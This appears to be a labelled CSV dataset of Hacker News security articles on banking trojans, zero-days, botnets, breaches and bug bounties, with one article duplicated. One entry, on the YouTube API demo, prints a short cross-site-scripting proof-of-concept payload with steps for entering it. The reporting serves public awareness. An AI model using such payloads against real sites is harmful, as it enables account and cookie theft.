WannaCry Inspires Banking Trojan to Add Self-Spreading Ability,https://thehackernews.com/2017/08/trickbot-banking-trojan.html,"Although the wave of WannaCry and Petya ransomware has now been slowed down, money-motivated hackers and cyber criminals have taken lessons from the global outbreaks to make their malware more powerful.

Security researchers have now discovered at least one group of cyber criminals that are attempting to give its banking Trojan the self-spreading worm-like capabilities that made recent ransomware attacks go worldwide.

The new version of credential stealing TrickBot banking Trojan, known as ""1000029"" (v24), has been found using the Windows Server Message Block (SMB)—that allowed WannaCry and Petya to spread across the world quickly.

TrickBot is a banking Trojan malware that has been targeting financial institutions across the world since last year.

The Trojan generally spreads via email attachments impersonating invoices from a large unnamed ""international financial institution,"" but actually leads victims to a fake login page used to steal credentials.

Last week, researchers at Flashpoint, who've been continually tracking TrickBot activities and its targets, have discovered that the TrickBot Trojan has just been evolved to spread locally across networks via Server Message Block (SMB).

Since the new version of TrickBot is still being tested, the new features are not fully implemented by the hacking gang behind the Trojan. It also doesn't have the ability to randomly scan external IPs for SMB connections, unlike WannaCry which exploited a vulnerability dubbed EternalBlue.

Flashpoint researchers said the trojan is modified to scan domains for lists of vulnerable servers via the NetServerEnum Windows API and enumerate other computers on the network via Lightweight Directory Access Protocol (LDAP).

The new TrickBot variant can also be disguised as 'setup.exe' and delivered through a PowerShell script to spread through interprocess communication and download additional version of TrickBot onto shared drives.

According to the researchers, the latest discovery of new TrickBot variant provides an insight into what the operators behind the malware might be using in the near-future.
""Flashpoint assesses with moderate confidence that the Trickbot gang will likely continue to be a formidable force in the near term,"" said Vitali Kremez, director of Research at Flashpoint.
""Even though the worm module appears to be rather crude in its present state, it's evident that the Trickbot gang learned from the global ransomware worm-like outbreaks of WannaCry and 'NotPetya' and is attempting to replicate their methodology.""
In order to safeguard against such malware infection, you should always be suspicious of unwanted files and documents sent over an email and should never click on links inside them unless verifying the source.

To always have a tight grip on your valuable data, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.

Moreover, make sure that you run an effective anti-virus security suite on your system, and keep it up-to-date.

",Malware
CVE-2013-5065: Microsoft Windows XP and Server 2003 Privilege escalation Zero-Day exploit discovered,https://thehackernews.com/2013/11/CVE-2013-5065-Windows-XP-Privilege-escalation-Zero-Day-exploit.html,"Researchers at FireEye have discovered a new privilege escalation vulnerability in Windows XP and Windows Server 2003.

CVE-2013-5065, Local privilege escalation vulnerability is used in-the-wild in conjunction with an Adobe Reader exploit (CVE-2013-3346) that appears to target a patched vulnerability.
Microsoft has issued an advisory and warned that discovered bug in Windows XP's NDPROXY.SYS driver could allow hackers to run code in the system's kernel from a standard user account.

The exploit could allow a standard user account to execute code in the kernel, which may allow an attacker to gain privileges that would enable him to do various activities, including deleting or viewing data, installing programs, or creating accounts with administrative privileges.

""Our investigation of this vulnerability has verified that it does not affect customers who are using operating systems newer than Windows XP and Windows Server 2003,"" Microsoft advised.

Last April, Microsoft announced that they will discontinue its support of Windows XP by April 2014, mean XP users will no longer receive security updates provided by Microsoft.

Users are advised to upgrade their system with latest Adobe Reader software and also upgrade to Microsoft Windows 7 or higher version.

",Vulnerability
'Shadow Brokers' Threatens to Unmask A Hacker Who Worked With NSA,https://thehackernews.com/2017/06/shadowbrokers-nsa-hacker.html,"The Shadow Brokers, a notorious hacking group that leaked US cyberweapons — which were also abused by the recent ransomware disasters WannaCry and Petya or NotPetya — has now threatened to unmask the identity of a former hacker who worked for the NSA.

Besides this, the Shadow Brokers group has also doubled the price for its monthly subscription model of NSA's built hacking tools and zero-day exploits from 100 ZEC (Zcash) to 200 ZEC, which is around $64,400 USD.

Moreover, the hacking group has also announced a VIP service for people, who will be entertained by the group for their queries on the leaked hacking tools and exploits.

To subscribe to the VIP service, one has to make a one-time payment of 400 ZEC (around US$128,800).

Last month, the Shadow Brokers announced to release more zero-days exploits and hacking tools developed by the US spy agency every month from June 2017, but only to private members who will subscribe for receiving exclusive access to the future leaks.

The Shadow Brokers' June data dump costs 100 ZEC, but after looking at successful growth in the number of subscribers for this month, the group said it is raising the price for the next month's subscription.

Threatens to Unmask Equation Group Hacker

In typically broken English, the mysterious hacking group threatened to unmask a former member of the NSA's elite hacking group called Equation Group, who developed several hacking tools to break into Chinese organizations.

The Shadow Brokers did not reveal much about the former Equation Group member, except that the person is living in Hawaii and currently a ""co-founder of a new security company and is having much venture capital.""

The group, who called the NSA Equation Group member as ""doctor,"" threatened because of his/her ""ugly tweets"" targeting the Shadow Brokers.
""TheShadowBrokers is having special invitation message for 'doctor' person theshadowbrokers is meeting on Twitter. 'Doctor' person is writing ugly tweets to theshadowbrokers,"" the group said. ""Then doctor person is deleting ugly tweets, maybe too much drinking and tweeting?""
""TheShadowBrokers is hoping 'doctor' person is deciding to subscribe to dump service in July. If theshadowbrokers is not seeing subscription payment with corporate email address of doctor@newsecuritycompany.com then theshadowbrokers might be taking tweets personally and dumping data of 'doctor' persons hacks of China with real id and security company name.""
Well, that's enough of a threat.

Since June is going to end, it seems like the Shadow Brokers subscribers who paid in June will start receiving zero-day exploit and hacking tools from the first week of July.

Although what the June dump would contain is not clear at the moment, the group's last announcement claimed that the upcoming data dump would include:

Compromised data from banks and Swift providers.
Exploits for operating systems, including Windows 10.
Exploits for web browsers, routers, and smartphones.
Stolen network information from Russian, Chinese, Iranian, and North Korean nuclear missile programs.

You can follow The Hacker News (on Facebook or Twitter) to receive the threat latest updates immediately.

",Cyber_Attack
Serious Tumblr Cross Site Scripting Vulnerability can be used to Spread Worms,https://thehackernews.com/2012/06/serious-tumblr-cross-site-scripting.html,"Serious Tumblr Cross Site Scripting Vulnerability can be used to Spread Worms
Two Indian Security Researchers Aditya Gupta (@adi1391) and Subho Halder (@sunnyrockzzs) have found a serious Cross Site Scripting vulnerability in one of the most famous social networking websites Tumblr.

This could be used to steal the cookies of the authenticated user, as well as could be used to make a worm, like the one seen in MySpace (Samy Worm) and Orkut (Bom Sabado) earlier.

""We have also tried to contact them via Twitter and mail earlier, but no response from their side. So we have decided to release it. Well, not exactly, where the vulnerability is, but just to let them know that it is vulnerable.""

Tumblr is the one of the most popular social networking websites worldwide, and is ranked 37th by Alexa.

",Malware
CA security finds Android Trojan which records phone calls,https://thehackernews.com/2011/08/ca-security-finds-android-trojan-which.html,"CA security finds Android Trojan which records phone calls

A new Android Trojan is capable of recording phone conversations, according to a CA security researcher. The trojan is triggered when the Android device places or receives a phone call. It saves the audio file and related information to the phone's microSD card, and includes a configuration file with information on a remote server and settings used by the trojan.

The malware also ""drops a 'configuration' file that contains key information about the remote server and the parameters,"" CA security researcher Dinesh Venkatesan writes in a blog, perhaps suggesting that the recorded calls can be uploaded to a server maintained by an attacker.

According to the post, the trojan presents itself as an ""Android System Message"" that requires users to press an ""Install"" button for it to insert itself in the phone. Once installed, the trojan records all incoming and outgoing calls to a directory on the microSD card as .amr files, as well as information about the call, including its duration, in a text file.

Venkatesan tested the Trojan in ""a controlled environment with two mobile emulators running along with simulated Internet services,"" and posted screenshots with the results. It appears the Trojan can only be installed if the Android device owner clicks the ""install"" button on a message that looks strikingly similar to the installation screens of legitimate applications.
""As it is already widely acknowledged that this year is the year of mobile malware, we advice the smartphone users to be more logical and exercise the basic security principles while surfing and installing any applications,"" Venkatesan writes.

",Vulnerability
"Anonymous ransomware spotted in the wild, campaign to Infamous Activists group",https://thehackernews.com/2012/11/anonymous-ransomware-spotted-in-wild.html,"Folks from abuse.ch spotted an interesting piece of ransomware malware currently circulating in the wild. Current release is infecting Windows users. It seems that Cybercrooks are taking advantage of Anonymous Banner, for conducting such malware campaigns and supposed to be another game by opposite parties for discredit/Infamous the name of Anonymous in the eyes of the world.
Before twitter user @FawkesSecurity posted a threat to bomb a government building by Anonymous. But later, collective group clear themself by statement, ""Anonymous is not a terrorist organization. Anonymous does not use bombs. Anonymous does not condone violence in any way. Anonymous supports justice and universal equal rights. We support peaceful protest.""

Ransomware malware restricts access to the computer system that it infects and demands a ransom paid to the creator of the malware in order for the restriction to be removed. Message read ""Your computer has been hacked by the Anonymous Hackers Group and locked for the moment."".

Ransomware asking for €100 in order to restore victims computer to normal stage, otherwise malware warn that if user will not pay money in 24 hours, all files from computer will be deleted and their personal infomation can be posted online, and moreover malware claim to overclock system for converting it into a bomb (seems to be just fake warnings and inspired from movies).

Malware size reported around 47.0 KB ( 48128 bytes ) and 23 out of 44 Antivirus engines are currently able to detect this new malware as shown by VirusTotal report.

",Malware
"Netgear launches Bug Bounty Program for Hacker; Offering up to $15,000 in Rewards",https://thehackernews.com/2017/01/netgear-router-bug-bounty.html,"It might be the easiest bug bounty program ever.

Netgear launched on Thursday a bug bounty program to offer up to $15,000 in rewards to hackers who will find security flaws in its products.

Since criminals have taken aim at a rapidly growing threat surface created by millions of new Internet of things (IoT) devices, it has become crucial to protect routers that contain the keys to the kingdom that connects the outside world to the IP networks that run these connected devices.

To combat this issue, Netgear, one of the biggest networking equipment providers in the world, has launched a bug bounty program focusing on its products, particularly routers, wireless security cameras and mesh Wi-Fi systems.

Bug bounty programs are cash rewards given by companies or organizations to white hat hackers and researchers who hunt for serious security vulnerabilities in their website or products and then responsibly disclose for the patch release.

Also Read: How Hackers Hack Bank Accounts with Router Vulnerabilities

Bug bounties are designed to encourage security researchers, hackers and enthusiasts to responsibly report the vulnerabilities they discovered, rather than selling or exploiting it.

On Thursday, Netgear announced that the company has partnered up with Bugcrowd to launch Netgear Responsible Disclosure Program that can earn researchers cash rewards ranging from $150 to $15,000 for finding and responsibly reporting security vulnerabilities in its hardware, APIs, and the mobile apps.

Meanwhile, on the same day, The Federal Trade Commission (FTC) filed a lawsuit against D-Link, another large networking equipment providers, arguing that the company failed to implement necessary security protection in its routers and Internet-connected security cameras that left ""thousands of consumers at risk"" to hacking attacks.

If you are a bug bounty hunter, you should read all terms and conditions before shooting your exploits against Netgear products or website.
One of them explicitly mentioned, ""You may only exploit, investigate, or target security bugs against your own accounts and/or your own devices. Testing must not violate any law, or disrupt or compromise any data or access data that is not yours; intentional access of customer data other than your own is prohibited.""
The company is paying out up to $15,000 for each vulnerability. The highest bounty will be given for the flaws that would allow access to the cloud storage video files or live video feeds of all its customers, and bugs that allow remote access to routers from the Internet, as shown in the chart above.
However, the Netgear will also pay $10,000 for video feed and cloud storage access bugs that cannot be exploited in mass attacks. The same payout will also be given for security issues that provide access to the payment card data of all Netgear customers.

Also Read: Someone Just Hacked 10,000 Routers to Make them More Secure.

Others vulnerabilities that qualify the bounty program include:
SQL injection bug
Information disclosure flaw
Stored cross-site scripting (XSS) vulnerability
Cross-site request forgery (CSRF) bug
Open redirect issues
Here's the Bingo! Bug bounty hunters will be rewarded with a triple prize if they will successfully exploit at least three flaws in a chain.

So, what are you waiting for? Go and Grab 'em all!

",Vulnerability
Holiday deals can really be hiding hacker surprises,https://thehackernews.com/2012/12/holiday-deals-can-really-be-hiding.html,"It is that time of year which everybody loves. It is the holiday season and you will start to see a lot more people express good attitudes and wish everyone else a happy new year. As a matter of fact it may be hard to think that with all of this much goodwill in the air there is someone out there who is trying to take advantage of that. But the fact is no matter what time of year it is there are always going to be bad guys around every corner and they will try to stalk their prey at anytime. It does not matter what time of year it is, the bad guys like to work all year round and you always have to be on the lookout for them.

As a matter of fact this time of year is a very good time when it comes to black hat hackers. This is because there are so many people online around this time and they are looking for a bunch of deals for their Christmas shopping. The retailers really go full throttle around this time of year and they want to be able to make as much money as they can. This time of year may be known as the holidays to most people but to people in the financial industry it is known as the fourth quarter and it is the most important quarter of the year. They want to be able to make as much money as they can throughout this time period so they will offer deep discounts wherever they can.
And since you have so many people online trying to advantage of these deep discounts that are being offered, it is the perfect time for a black hat hacker to try and strike. With so many emails and so much different types of information being sent back and forth it is hard for the average person to be able to discern what is real and what is not. They do not know which emails are really offering a real deal and which ones are fake and trying to get something out of you. Normally you would tell a person that if a deal seems to be too good to be true that it probably is and there are some bad guys behind the offer. But at this time of year all of the deals seem too good to be true and it is hard to tell which one is a bad deal and which on is a good deal.

That is why as a consumer, you have to keep a more vigilant eye out than you normally would. Yes, the bad guys are going to be out there in full force and you have to make sure you are more prepared than ever. When you go to visit websites you have to make sure that the domain is correct and that it matches the website that you thought you were going to. If it does not match the domain that you thought you were going to then you should leave right away without clicking on anything. And if you get an offer in your email account then you should not click the link in the email. What you should do is type the website in directly and go to it that way. You never know where a link in your email account is going to take you. So make sure that you do it the right way so that you know where you are going.

When it comes to the holidays the bad guys do not take a day off. So make sure that your common sense does not take a day off as well.

Happy Holidays from Team 'The Hacker News'

",Malware
XSS Vulnerability in Interactive YouTube API Demo Beta,https://thehackernews.com/2011/10/xss-vulnerability-in-interactive.html,"XSS Vulnerability in Interactive YouTube API Demo Beta
There is a Critical Cross site XSS Vulnerability in Interactive YouTube API Demo Beta, Discovered by various sources. One of the White Hat Hacker ""Vansh Sharma"" Inform us about this XSS Vulnerability with proof of concept.
Proof Of Concept :
Open https://gdata.youtube.com/
Enter script <img src=""<img src=search""/onerror=alert(""xss"")//""> in the keyword area.
Press ADD

",Vulnerability
National Security threats to be detailed at 'The Hackers Conference' 2013 | #THC2013,https://thehackernews.com/2013/08/The-Hackers-Conference-National-Security.html,"The recent ""disconcerting"" reports that India was being spied upon by American intelligence agencies has opened an all new chapter in the cyber security space. The revelation that the Indian embassy in the US was among the list of 38 diplomatic missions which were being spied upon by American intelligence agencies, as per the latest top secret US National Security Agency documents leaked by the whistleblower Edward Snowden has raised questions like How much of liberty should the cyber space grant to maintain national security and at what cost?
So far, legality is the main rationale US officials have used to defend the government's PRISM spying program. It's all perfectly legal, approved by govt. and the courts, but a more potent argument might be just because something is legal doesn't necessarily make it a good thing.

In the context of the recent findings and the debate that it has just drawn, The Hackers Conference 2013 will raise important questions on the threats that snooping posses and why all Internet Administrations and Regulatory Bodies be put out of US jurisdiction and under the UN control.

The Hackers Conference 2012 had seen the participation of delegates from 15 different countries across the world. The conference will also take up an issue that is equally concerned: Cyber Security Cooperation between South Asian Countries and ways to counter snooping and cyber threats.

To discuss on the various facets of Cyber Security and to provide a common platform to Hackers along with govt. Official and policymakers , the second edition of The Hackers Conference 2013 is a great platform for the community to interact and exchange ideas.

Highlights of the Conference will be:
Special session against Internet Censorship in India
Samsung Smartphone Developer will Turn Android device into a Spy Bug
US hackers demonstrating breaching of SSL security layer in 30 Seconds
Researcher from Singapore will showcase Mobile Security testing tools
Researchers will demonstrate the Digital Forensics of WeChat like suspicious apps.
Keynote Speakers:
Prasad Kariyawasam: High Commissioner for Sri Lanka to India
Virag Gupta: Supreme Court Advocate
K C Singh, Former Secretary, Min. of External Affairs
Dinesh O. Bareja, CEO at Open Security Alliance
The Hackers Conference 2013 will be held in New Delhi on August 25 at India Habitat Centre. For details please visit https://www.thehackersconference.com and Join Hackers on Facebook Page.

This is the second edition of the Conference. Following the huge success of the conference last year the current edition of the conference brings back to you all the knowledge, all the fun in a better, grander way!

",Vulnerability
APT Hackers Infect Routers to Covertly Implant Slingshot Spying Malware,https://thehackernews.com/2018/03/slingshot-router-hacking.html,"Security researchers at Kaspersky have identified a sophisticated APT hacking group that has been operating since at least 2012 without being noticed due to their complex and clever hacking techniques.

The hacking group used a piece of advanced malware—dubbed Slingshot—to infect hundreds of thousands of victims in the Middle East and Africa by hacking into their routers.

According to a 25-page report published [PDF] by Kaspersky Labs, the group exploited unknown vulnerabilities in routers from a Latvian network hardware provider Mikrotik as its first-stage infection vector in order to covertly plant its spyware into victims' computers.

Although it is unclear how the group managed to compromise the routers at the first place, Kaspersky pointed towards WikiLeaks Vault 7 CIA Leaks, which revealed the ChimayRed exploit, now available on GitHub, to compromise Mikrotik routers.

Once the router is compromised, the attackers replace one of its DDL (dynamic link libraries) file with a malicious one from the file-system, which loads directly into the victim's computer memory when the user runs Winbox Loader software.
Winbox Loader is a legitimate management tool designed by Mikrotik for Windows users to easily configure their routers that downloads some DLL files from the router and execute them on a system.

This way the malicious DLL file runs on the targeted computer and connects to a remote server to download the final payload, i.e., Slingshot malware.

Slingshot malware includes two modules—Cahnadr (a kernel mode module) and GollumApp (a user mode module), designed for information gathering, persistence and data exfiltration.

Cahnadr module, aka NDriver, takes care of anti-debugging, rootkit and sniffing functionality, injecting other modules, network communications—basically all the capabilities required by user-mode modules.
""[Cahnadr is a] kernel-mode program is able to execute malicious code without crashing the whole file system or causing Blue Screen—a remarkable achievement,"" Kaspersky says in its blog post published today.
""Written in pure C language, Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions, and carries out integrity control of various system components to avoid debugging and security detection.""
Whereas GollumApp is the most sophisticated module which has a wide range of spying functionalities that allow attackers to capture screenshots, collect network-related information, passwords saved in web browsers, all pressed keys, and maintains communication with remote command-and-control servers.
Since GollumApp runs in kernel mode and can also run new processes with SYSTEM privileges, the malware gives attackers full control of the infected systems.

Although Kaspersky has not attributed this group to any country but based on clever techniques it used and limited targets, the security firm concluded that it is definitely a highly skilled and English-speaking state-sponsored hacking group.
""Slingshot is very complex, and the developers behind it have clearly spent a great deal of time and money on its creation. Its infection vector is remarkable—and, to the best of our knowledge, unique,"" the researchers say.
The victims include most of the times individuals and some government organizations across various countries including Kenya, Yemen, Libya, Afghanistan, Iraq, Tanzania, Jordan, Mauritius, Somalia, the Democratic Republic of the Congo, Turkey, Sudan and the United Arab Emirates.

",Cyber_Attack
Serious Tumblr Cross Site Scripting Vulnerability can be used to Spread Worms,https://thehackernews.com/2012/06/serious-tumblr-cross-site-scripting.html,"Serious Tumblr Cross Site Scripting Vulnerability can be used to Spread Worms
Two Indian Security Researchers Aditya Gupta (@adi1391) and Subho Halder (@sunnyrockzzs) have found a serious Cross Site Scripting vulnerability in one of the most famous social networking websites Tumblr.

This could be used to steal the cookies of the authenticated user, as well as could be used to make a worm, like the one seen in MySpace (Samy Worm) and Orkut (Bom Sabado) earlier.

""We have also tried to contact them via Twitter and mail earlier, but no response from their side. So we have decided to release it. Well, not exactly, where the vulnerability is, but just to let them know that it is vulnerable.""

Tumblr is the one of the most popular social networking websites worldwide, and is ranked 37th by Alexa.

",Vulnerability
THN Weekly Roundup — Top 10 Stories You Should Not Miss,https://thehackernews.com/2017/12/cybersecurity-hacking-news.html,"Here we are with our weekly roundup, briefing this week's top cybersecurity threats, incidents, and challenges, just in case you missed any of them.

Last week has been very short with big news from the theft of over 4,700 Bitcoins from the largest cryptocurrency mining marketplace to the discovery of a new malware evasion technique that works on all versions of Microsoft's Windows operating system.

Besides this, the newly discovered Janus vulnerability in the Android operating system and a critical remote code execution (RCE) vulnerability in Malware Protection Engine (MPE) for which Microsoft released an emergency patch made their places in our weekly roundup.

I recommend you to read the entire news (just click 'Read More' because there's some valuable advice in there as well).

So, here we go with the list of this Week's Top Stories:

Process Doppelgänging: New Malware Evasion Technique

A team of researchers, who previously discovered AtomBombing attack, recently revealed a new fileless code injection technique that could help malware authors defeat most of the modern anti-virus solutions and forensic tools.

Dubbed Process Doppelgänging, the method takes advantage of a built-in Windows function and an undocumented implementation of Windows process loader, and works on all versions of Microsoft Windows operating system, starting from Windows Vista to the latest version of Windows 10.

To know How Process Doppelgänging attack works and why Microsoft refused to fix it, Read More.

Android Flaw Lets Hackers Inject Malware Into Apps Without Altering Signatures

A newly discovered vulnerability, dubbed Janus, in Android could let attackers modify the code of Android apps without affecting their signatures, eventually allowing them to distribute malicious update for the legitimate apps, which looks and works same as the original apps.

Although Google has patched the vulnerability this month, a majority of Android users would still need to wait for their device manufacturers to release custom updates for them, apparently leaving a large number of Android users vulnerable to hackers for next few months.

To know more about the vulnerability, how it works and if you are affected, Read More.

Pre-Installed Keylogger Found On Over 460 HP Laptop Models

Once again, Hewlett-Packard (HP) was caught pre-installing a keylogger in more than 460 HP Notebook laptop models that could allow hackers to record your every keystroke and steal sensitive data, including passwords, account information, and credit card details.

When reported last month, HP acknowledged the presence of the keylogger, saying it was actually ""a debug trace"" which was left accidentally, and affected users can install updated Synaptics touchpad driver to remove it manually.

To know how to check if your HP laptop is vulnerable to this issue and download compatible drivers, Read More.

New Email Spoofing Flaw Affects Over 30 Popular Email Clients
Researchers discovered a collection of vulnerabilities in more than 30 popular email client applications that could allow anyone to send spoofed emails bypassing anti-spoofing mechanisms.

Dubbed MailSploit, the vulnerabilities affect popular email clients including Apple Mail (for macOS, iOS, and watchOS), Mozilla Thunderbird, Yahoo Mail, ProtonMail, several Microsoft email clients, and others.

To watch the PoC video released by the researchers and know more about the vulnerabilities, Read More.

Largest Crypto-Mining Exchange Hacked; Over $80 Million in Bitcoin Stolen

Last week was the golden week in Bitcoin's history when the price of 1 BTC touched almost $19,000, but the media hype about the bitcoin price diminishes the hack of the largest Bitcoin mining marketplace.

NiceHash mining marketplace confirmed a breach of its website, which resulted in the theft of more than 4,736 Bitcoins, which now worth nearly $80 million.

The service went offline (and is still offline at the time of writing this article) with a post on its website, confirming that ""there has been a security breach involving NiceHash website,"" and that hackers stole the contents of the NiceHash Bitcoin wallet.

To know more about the Bitcoin hack, Read More.

Microsoft Issues Emergency Windows Security Update

A week before its December Patch Tuesday updates, Microsoft released an emergency security patch to address a critical remote code execution vulnerability in its Malware Protection Engine (MPE) that could allow an attacker to take full control of a victim's PC.

The vulnerability (CVE-2017-11937) impacts Windows 10, Windows 8.1, Windows 7, Windows RT 8.1, and Windows Server, and affects several Microsoft's security products, including Windows Defender, Microsoft Security Essentials, Endpoint Protection, Forefront Endpoint Protection, and Exchange Server 2013 and 2016.

To know more about the vulnerability, Read More.

Security Flaw Left Major Banking Apps Vulnerable to MiTM Attacks Over SSL

Scientists discovered a critical implementation flaw in major mobile banking apps—for both iOS and Android—that left banking credentials of millions of users vulnerable to man-in-the-middle attacks.

Attackers, connected to the same network as the victim, could have leveraged vulnerable banking apps to intercept SSL connection and retrieve the user's banking credentials, like usernames and passwords/pincodes—even if the apps are using SSL pinning feature.

To know how attackers could have exploited this vulnerability to take over your bank accounts, Read More.

Massive Data Breach Exposes Personal Data On 31 Million Users

While downloading apps on their smartphones, most users may not realize how much data they collect on them, and app developers take advantage of this ignorance, wiping off more data on their users than they actually require for the working of their app.

But what if this data falls into the wrong hand?

The same happened last week, when a massive trove of personal data (over 577 GB) belonging to more than 31 million users of the famous virtual keyboard app, called AI.type, leaked online for anyone to download without requiring a password.

To know more about the data breach incident and what information users lost, Read More.

Critical Flaw in Major Android Tools Targets Developers
An easily-exploitable vulnerability discovered in Android application developer tools, both downloadable and cloud-based, could allow hackers to steal files and execute malicious code on vulnerable systems remotely.

The vulnerability was discovered by security researchers at CheckPoint, who also released a proof of concept (PoC) attack, dubbed ParseDroid, along with a video to demonstrate how the attack works.

To watch the video and know how this vulnerability can be exploited, Read More.

Uber Paid Florida Hacker $100,000 to Keep Data Breach News Secret

It turns out that a 20-year-old Florida man, with the help of another, was responsible for the massive Uber data breach in October 2016 and was paid an enormous amount by the ride-hailing company to destroy the data and keep the data breach incident secret.

Last week, Uber announced that a massive data breach last year exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information.

To know more about the data breach at Uber and the hackers, Read More.

",Vulnerability
Google makes it mandatory for Chrome Apps to tell Users what Data they collect,https://thehackernews.com/2016/04/chrome-data-security.html,"In Brief
Chrome apps and extensions make things easier, but they can also do terrible things like spy on web users and collect their personal data.

But, now Google has updated its browser's User Data Policy requiring all Chrome extension and app developers to disclose what data they collect.

Furthermore, developers are prohibited from collecting unnecessary browsing data and must also use encryption when handling sensitive information from users.

Around 40 percent of all Google Chrome users have some kind of browser extensions, plugins or add-ons installed, but how safe are they?

The company plans to enforce developers starting this summer, to ""ensure transparent use of the data in a way that is consistent with the wishes and expectations of users.""

Google is making its Chrome Web Store safer for its users by forcing developers to disclose how they handle customers' data.

Google's new User Data Policy will now force app developers, who use the Chrome Web Store to distribute their products, to be more transparent about their data collection practices.

In other words, the company wants its Chrome users to know what's happening when they use third-party apps and services that rely on its browser.

Also Read: Adware Companies buying popular Chrome extensions to inject Ads and Malware

According to Google, ""Protecting our users is our key priority, and we believe this change will make sure users are better informed and allow them to choose how their user data is handled.""

Here's the list of new requirements for developers:

Be transparent about the handling of user's data and disclose privacy practices.
Post a privacy policy as well as use encryption for handling personal or sensitive information of users.
Ask users to consent to the collection of their personal or sensitive data via a prominent disclosure, when the use of the data is not related to a prominent feature.

Besides this, developers are also restricted from collecting user's Web browsing activity that is not at all required for their app's main functionality.

Google has already started notifying app developers about the change in its privacy policy and is giving them 3 months from now to comply.

From July 15, 2016, any app or extension that violates any of the requirements mentioned above will be discarded from the Chrome Web Store. So the only way to be restored will be to comply with the new policies.

",Data_Breaches
"Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach",https://thehackernews.com/2017/10/equifax-credit-security-breach.html,"Equifax data breach was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed.

Credit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million.

Equifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses.

In addition, credit card information for nearly 209,000 customers was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers.

The breach was due to a critical vulnerability (CVE-2017-5638) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident.

Equifax was even informed by the US-CERT on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [PDF] to the House Committee on Energy and Commerce.
""It appears that the breach occurred because of both human error and technology failures,"" Smith said. ""Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.""
In the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results ""promptly.""

Mandiant said a total of 145.5 million consumers might now potentially have been impacted by the breach, which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of ""new attacker activity.""
""Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,"" Equifax said in a Monday press release.
""Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.""
The forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm.

However, Equifax said that this figure ""was preliminary and did not materialize.""

""I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,"" newly appointed interim CEO, Paulino do Rego Barros, Jr. said.

""We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements.""

Equifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.

",Vulnerability
Critical Git Client vulnerability Allows Malicious Remote Code Execution,https://thehackernews.com/2014/12/critical-git-client-vulnerability-allow_19.html,"Developers running the open source Git code-repository software and tools, like GitHub, on Mac OS X and Windows computers are highly being recommended to install a security update that patches a major security vulnerability in Git clients that leverages an attacker to hijack end-user computers.

The critical Git vulnerability affects all versions of the official Git client and all the related software that interacts with Git repositories, including GitHub for Windows and Mac OS X, according to a GitHub advisory published Thursday.

HOW GIT BUG WORKS
The vulnerability allows an attacker to execute remote code on a client's computer when the client software accesses Git repositories. The GitHub engineering team gave a detailed explanation on how attackers might exploit the vulnerability:
""An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine,"" Thursday's advisory warned. ""Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive file system.""
PATCH RELEASED
However, the advisory didn't state if the vulnerability is being or has been exploited in wild by the hackers, but it confirmed that GitHub for Windows and GitHub for Mac are both affected and should be updated as immediately as possible.
""We strongly encourage all users of GitHub and GitHub Enterprise to update their Git clients as soon as possible, and to be particularly careful when cloning or accessing Git repositories hosted on unsafe or untrusted hosts,"" Vincent Marti from GitHub wrote.
GITHUB REPOSITORIES ARE SAFE
Developers using GitHub's client for Windows or Mac can download Git version 2.2.1, a maintenance release that includes a security fix for a critical vulnerability, and it requires a client update to be fully addressed. The security update also includes new releases with the same security fix for older versions of the Git command-line client.

Since, repositories on Github verifies and blocks malicious contents during its verification process, therefore repositories on github.com are protected. But, it is not necessary that other sites hosting repositories provide the same security measures, so all Git users are recommended to upgrade immediately.

DOWNLOAD NOW
Check out the Git version 2.2.1 release for further information on the security fixes. Updated version of GitHub for Windows are available here and GitHub for Mac are available here for immediate download.

Git is a revision control system, and GitHub is a hosting service for Git repositories, both are widely used to collaborate on open-source projects and for proprietary software that different companies build and maintain.

",Vulnerability
ALERT! Hackers targeting IoT devices with a new P2P botnet malware,https://thehackernews.com/2020/10/p2p-iot-botnet.html,"Cybersecurity researchers have taken the wraps off a new botnet hijacking Internet-connected smart devices in the wild to perform nefarious tasks, mostly DDoS attacks, and illicit cryptocurrency coin mining.
Discovered by Qihoo 360's Netlab security team, the HEH Botnet — written in Go language and armed with a proprietary peer-to-peer (P2P) protocol, spreads via a brute-force attack of the Telnet service on ports 23/2323 and can execute arbitrary shell commands.
The researchers said the HEH botnet samples discovered so far support a wide variety of CPU architectures, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III), and PowerPC (PPC).
The botnet, despite being in its early stages of development, comes with three functional modules: a propagation module, a local HTTP service module, and a P2P module.
Initially downloaded and executed by a malicious Shell script named ""wpqnbw.txt,"" the HEH sample then uses the Shell script to download rogue programs for all different CPU architectures from a website (""pomf.cat""), before eventually terminating a number of service processes based on their port numbers.
